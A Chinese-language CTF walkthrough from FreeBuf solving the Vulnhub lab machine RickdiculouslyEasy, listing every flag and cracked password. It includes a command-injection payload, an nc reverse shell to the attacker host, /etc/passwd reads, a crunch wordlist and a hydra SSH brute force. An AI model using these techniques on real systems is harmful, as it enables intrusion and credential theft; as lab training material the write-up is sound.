freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

    CTF挑战130分 | Rickdiculously 1.0
    2018-06-03 09:00:24
    所属地 河北省

    简介

    Vulnhub简介

    Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

    官网:https://www.vulnhub.com

    下载链接

    https://download.vulnhub.com/rickdiculouslyeasy/RickdiculouslyEasy.zip

    靶机说明

    靶机用ValualBox创建,是一个面向初学者设计的CTF,简单的Boot to root游戏,同时里面有合计130 points的Flag。

    目标

    Boot to root:获得root权限,并获得合计130 points的Flag。

    运行环境

    靶机:通过ValualBox打开虚拟机,网络连接方式设置为主机模式(host-only),虚拟机启动后会显示IP是192.168.56.101。

    攻击机:同网段下有Windows攻击机(物理机),IP地址:192.168.56.100,安装有Nmap、Burpsuit、Wireshark、Sqlmap、nc、Hydra、Python2.7、DirBuster、AWVS、Nessus等渗透工具。同样推荐使用Kali Linux作为攻击机,预装了全面的渗透工具。

    信息收集

    端口服务识别

    启动虚拟机,由于IP已知,使用nmap扫描端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件,命令:

    nmap -p1-65535 -A 192.168.56.101 -oN rick.txt

    image.png

    汇总开放的端口和服务:

    端口 服务 后台系统 或 提示信息

    21 FTP vsftpd3.0.3 允许匿名登录

    22 未知服务 Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

    80 http Apache httpd 2.4.27 ((Fedora)

    9090 http Cockpit web service

    13337 未知服务 获得FLAG:{TheyFoundMyBackDoorMorty}-10Points

    22222 ssh OpenSSH 7.5 (protocol 2.0)

    60000 未知服务 Welcome to Ricks half baked reverse shell

    漏洞挖掘

    渗透思路:

    (1) 依次查看每个端口运行的服务,能直接利用则获得Flag。

    (2) 先查看全部非Web服务,再查看Web服务,通常会通过Web服务入手获得shell后提权。

    (3) 最后聚焦Web服务进行web渗透和提权。

    0x01 端口13337:10 Points

    一血,信息收集时Nmap扫描13337扫描得到Flag,10 Points。

    FLAG:{TheyFoundMyBackDoorMorty}-10 Points

    总分:1 flag,total 10 points/130 points

    image.png

    0x02 端口21:FTP匿名登录,10 Points

    Nmap扫描发现21端口的FTP允许匿名登录,使用任何FTP工具或者FTP命令匿名登录21端口,如下截图使用Xftp登录:

    image.png

    获得FLAG{Whoa this is unexpected} - 10 Points

    总分:2 flags,total 20 points/130 points

    0x03 端口9090:https网页,10 Points

    访问https://192.168.56.101:9090/,在Web页面获得Flag:

    image.png

    FLAG {There is no Zeus, in your face!} - 10 Points

    总分:3 flags,total 30 points/130 points

    0x04 端口22:获得系统及内核版本

    Nmap扫描发现22端口不是ssh服务,ssh在22222端口,使用nc连接22端口:nc -nv 192.168.56.101 22获得内核和系统版本:Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic x86_64)

    image.png

    0x05 端口22222:ssh服务

    Nmap扫描时发现22222端口运行ssh服务,使用Xshell工具连接,目前没有获得用户名密码,暂无法登录。

    image.png

    0x06 端口60000:用户shell,10 Points

    Nmap扫描时发现提示Welcome to Ricks half baked reverse shell,这是一个shell,使用nc连接成功:nc -nv 192.168.56.101 60000,查看目录和文件发现Flag。

    image.png

    FLAG{Flip the pickle Morty!} - 10 Points

    总分:4 flags,total 40 points/130 points

    检测该shell权限,whoami命令显示是root,但是该shell只有访问Flag和执行几个命令的权限,无法进一步利用。

    image.png

    至此已访问全部非Web端口,共获得了4个Flag,40 Points。继续访问80端口web服务。

    0x07 端口80:暴破目录和获得Flag

    (1) 访问http://192.168.56.101/进入首页:

    image.png

    Windows下使用DirBuster工具进行目录暴破,kali下可使用dirb工具暴破:

    image.png

    获得passwords目录,Flag和passwords.html页面,依次访问。

    (2) 目录http://192.168.56.101/passwords/

    image.png

    (3) 访问passwords目录下的FLAG.txt:10 Points

    image.png

    FLAG{Yeah d- just don't do it.} - 10 Points

    总分:5 flags,total 50 points/130 points

    (4) 访问passwords.html页面,获得密码:

    提示该页面存储了密码Storing passwords in a file called passwords.html

    image.png

    查看网页源码获得密码winter

    image.png

    0x08 通过robots.txt找到命令执行页面

    (1) 读取robots.txt文件(也可以通过dirb暴破出rebots.txt):

    image.png

    发现有两个文件:/cgi-bin/root_shell.cgi和/cgi-bin/tracertool.cgi,第一个疑似root shell。

    (2) 访问/cgi-bin/root_shell.cgi 提示正在建设中。

    image.png

    (3) 访问/cgi-bin/tracertool.cgi,发现ping命令执行界面,可以ping一个IP,输入127.0.0.1;id即可执行id命令:

    image.png

    获取shell

    0x09 命令执行获得shell

    (1) 命令执行好获得shell有多种姿势,使用nc反弹shell,执行命令127.0.0.1;nc -e /bin/bash 192.168.56.100 4444

    image.png

    (2) windows攻击机开启nc监听4444端口,并接收反弹shell成功:

    image.png

    (3) 读取/etc/passwd

    cat命令被替换成了猫猫的图形,more命令在shell中不回显。

    image.png

    执行nl /etc/passwd读取文件,或者在执行ping命令的/cgi-bin/tracertool.cgi页面输入127.0.0.1;more /etc/passwd也可以读取

    image.png

    image.png

    系统中存在3个用户:RickSanchez、Morty和Summer。

    (4) 之前已经获得了一个密码winter,尝试用这个密码登录3个用户的ssh(22222端口)和FTP:用户名Summer,密码winter登录成功。

    在xshell中ssh登录并获得Flag或者在xftp中登录Summer账号并获得Flag:

    image.png

    image.png

    FLAG{Get off the high road Summer!} - 10 Points

    总分:6 flags,total 60 points/130 points

    0x10 查找其他用户的文件和Flag

    (1) 查找用户RickSanchez和Morty的文件

    命令find / -user RickSanchez 2>/dev/null和find / -user Morty 2>/dev/null,在home目录用tree命令列出文件:

    image.png

    发现可以读取两个用户home目录里面的问文件,分别进去查找隐藏文件。

    (2) Morty的文件和Flag

    进入Morty目录,发现journal.txt.zip和Safe_Password.jpg文件

    image.png

    将这两个文件复制到Summer用户的home目录:

    image.png

    然后通过用Summer账号登录FTP下载下来:

    image.png

    zip压缩包有密码,先看jpg图片,因windows下没有kali的strings命令,用Notepad++或者记事本打开,在前几行发现密码:Password: Meeseek The Safe Password: File: /home/Morty/journal.txt.zip

    image.png

    通过密码Meeseek打开journal.txt.zip压缩包,得到Flag和一个safe密码131333。看文字提示a safe, and a password

    image.png

    FLAG: {131333} - 20 Points

    总分:7 flags,total 80 points/130 points

    (3) RickSanchez的文件和Flag

    发现可执行文件safe:

    image.png

    把safe复制到Summer的用户目录下,执行safe文件:

    image.png

    提示需要使用命令行参数Past Rick to present Rick, tell future Rick to use GOD DAMN COMMAND LINE argument

    上面获取了密码131333,将其作为参数执行./safe 131333

    image.png

    获得FLAG{And Awwwaaaaayyyy we Go!} - 20 Points

    总分:8 flags,total 100 points/130 points

    同时得到Rick的密码提示信息:Rick可能是wheel组成员,具有sudo权限;Rick的密码按照顺序包含:1个大写字母,1位数字,1个旧乐队名字中的单词。

    提升权限

    0x11 生成字典,暴破Rick密码

    (1) 先百度或谷歌找到Rick的乐队名字,百度搜索RickSanchez Morty Summer,得到瑞克与莫蒂,第一个搜索结果就是WIKI介绍,点击进去查看

    image.pngimage.png这是一部动画片,在WIKI里面找到了乐队的名字The Flesh Curtains

    image.png(2) 生成密码字典:

    密码第1位:A-Z中的一个大写字母;

    密码第2位:0-9中的一个数字;

    密码第3位:The或者Flesh或者Curtains,这3个单词之一。

    在Kali下使用crunch工具生成字典,生成3次字典,追加写入到rick.txt文件,crunch命令参数说明: crunch 密码最小长度 密码最大长度 -t参数是自定义密码输出格式 ,代表大写字母 %代表数字

    生成包含单词The的密码,写入rick.txt字典crunch 5 5 -t ,%The > rick.txt

    image.png生成包含Flesh的密码,追加写入rick.txt字典:crunch 7 7 -t ,%Flesh >> rick.txt

    image.png生成包含Curtains的密码,追加写入rick.txt字典:crunch 10 10 -t ,%Curtains >> rick.txt

    image.png生成的rick.txt字典有780行,可以在Kali中使用九头蛇、美杜莎暴破ssh。

    image.png

    (3) 暴破RickSanchez密码:

    由于VMWare下的Kali机没有和VBox靶机的host-only网卡连接,所以使用Windows物理机的九头蛇暴破密码:

    进入九头蛇目录,命令hydra.exe -l RickSanchez -P rick.txt -t 4 ssh://192.168.56.101:22222

    image.png

    暴破完成,得到login: RickSanchez password: P7Curtains

    0x12 获得root权限

    (1) 使用xshell工具ssh登录RickSanchez账号,密码P7Curtains

    image.png

    (2) 提权到root,执行命令sudo su -,密码P7Curtains

    image.png

    (3) 获得Flag

    image.png

    FLAG: {Ionic Defibrillator} - 30 points

    总分:9 flags,total 130 points/130 points

    游戏通关,已经提权至root,并获得全部FLag。

    总结

    突破点和坑:

    (1) Nmap扫描发现的每个端口和服务都需要查看,防止遗漏Flag。

    (2) 查看网页源码和图片的可打印字符,获取账号密码。

    (3) 获取到用户Summer和密码winter后,反弹shell没有必要了,因为可以ssh登录。

    (4) 难点和坑是制作RickSanchez账号的密码字典,首先要看英文提示Rick的密码由哪些字母或单词组成,其次要找到乐队名字的单词,乐队名是通过搜索引擎找到的,最后用工具做成字典,需熟悉字典制作工具的使用,或者用py写几次循环。

    全部Flag列表:

    得分 Flag 端口和位置

    10 FLAG:{TheyFoundMyBackDoorMorty} 端口13337

    10 FLAG{Whoa this is unexpected} 端口21,FTP匿名登录

    10 FLAG {There is no Zeus, in your face!} 端口9090,https服务

    10 FLAG{Flip the pickle Morty!} 端口60000,nc连接

    10 FLAG{Yeah d- just don't do it.} 端口80,passwords目录

    10 FLAG{Get off the high road Summer!} 用户Summer目录

    20 FLAG: {131333} 压缩包journal.txt.zip

    20 FLAG{And Awwwaaaaayyyy we Go!} 可执行文件safe

    30 FLAG: {Ionic Defibrillator} root根目录

    * 本文作者:Setup,转载请注明来自FreeBuf.COM

    # CTF
    本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
    被以下专辑收录,发现更多精彩内容
    + 收入我的专辑
    + 加入我的收藏
    相关推荐
    • 0 文章数
    • 0 关注者